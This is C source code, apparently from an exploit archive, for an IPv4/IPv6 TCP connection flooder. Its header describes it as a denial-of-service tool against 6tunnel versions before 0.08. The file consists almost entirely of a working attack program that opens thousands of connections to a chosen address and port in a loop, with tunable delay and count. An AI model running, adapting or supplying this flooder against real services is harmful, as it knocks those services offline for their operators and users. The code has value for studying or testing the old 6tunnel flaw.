IPV6 connection flooder which also works as a DoS for 6tunnel.
d5ca45f8b25520d798b30f8a21951e4b7668edc263961f72640139d1cf60c41a
/*
* ipv4/ipv6 tcp connection flooder.
* Originally used as a DoS for 6tunnel (versions < 0.08).
* Version 0.08 is a broken version. Please update to 0.09.
*
* Description of options:
* -6 : flood an ipv6 address.
* port : tcp port to flood (default: 667)
* delay: delay between connections (ms).
* times: max number of connections (default: 2500).
*
* awayzzz <awayzzz@digibel.org>
* You can even find me @IRCnet if you need.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#define DEFP 667 // default port.
#define DEFT 2500 // default number of connections.
#define TIME 100000 // delay between connections.
// tune it for best performances!
#define HAVE_IPV6
#define VALID_PORT(i) (i<65535 && i > 0)
int main(int argc,char *argv[])
{
int ret, fd, i, ip6 = 0;
int times = DEFT, port = DEFP, delay = TIME;
struct sockaddr_in sin;
#ifdef HAVE_IPV6
struct sockaddr_in6 sin6;
#endif
if( argc < 2 )
{
char *pname;
if(!(pname = strrchr(argv[0],'/')))
pname = argv[0];
else
pname++;
printf("Usage: %s [-6] ip4/6 [port] [delay (ms)] [times]\n", pname);
exit (0);
}
if(!strcmp(argv[1],"-6"))
{
#ifdef HAVE_IPV6
ip6 = 1;
#endif
argv++;
argc--;
}
if(argc > 2)
{
port = strtol(argv[2], NULL, 10);
if(!VALID_PORT(port))
{
fprintf(stderr,"Invalid port number. Using default\n");
port = DEFP;
}
}
if(argc > 3)
delay = strtol(argv[3], NULL, 10);
if(argc > 4)
times = strtol(argv[4], NULL, 10);
printf("Started with %s flood to %s on %d for %d times!\n",
(ip6 == 1) ? "ipv6" : "ipv4", argv[1], port, times);
for (i = 0; i < times; i++)
{
#ifdef HAVE_IPV6
if(ip6)
{
fd = socket(AF_INET6, SOCK_STREAM, 0);
memset(&sin6, 0, sizeof(sin6));
sin6.sin6_family = AF_INET6;
sin6.sin6_port = htons(port);
inet_pton(AF_INET6,argv[1],sin6.sin6_addr.s6_addr);
}
else
{
#endif /* HAVE_IPV6 */
fd = socket(AF_INET, SOCK_STREAM, 0);
memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(port);
#ifdef HAVE_IPV6
}
if(ip6)
ret = connect(fd, (struct sockaddr *)&sin6, sizeof(sin6));
else
#endif
ret = connect(fd, (struct sockaddr *)&sin, sizeof(sin));
if(ret < 0)
{
printf("connect %d failed.\n",i);
perror("connect");
break;
}
printf("Connection no. %d\n",i);
close(fd);
usleep(delay);
}
}
/* :wq */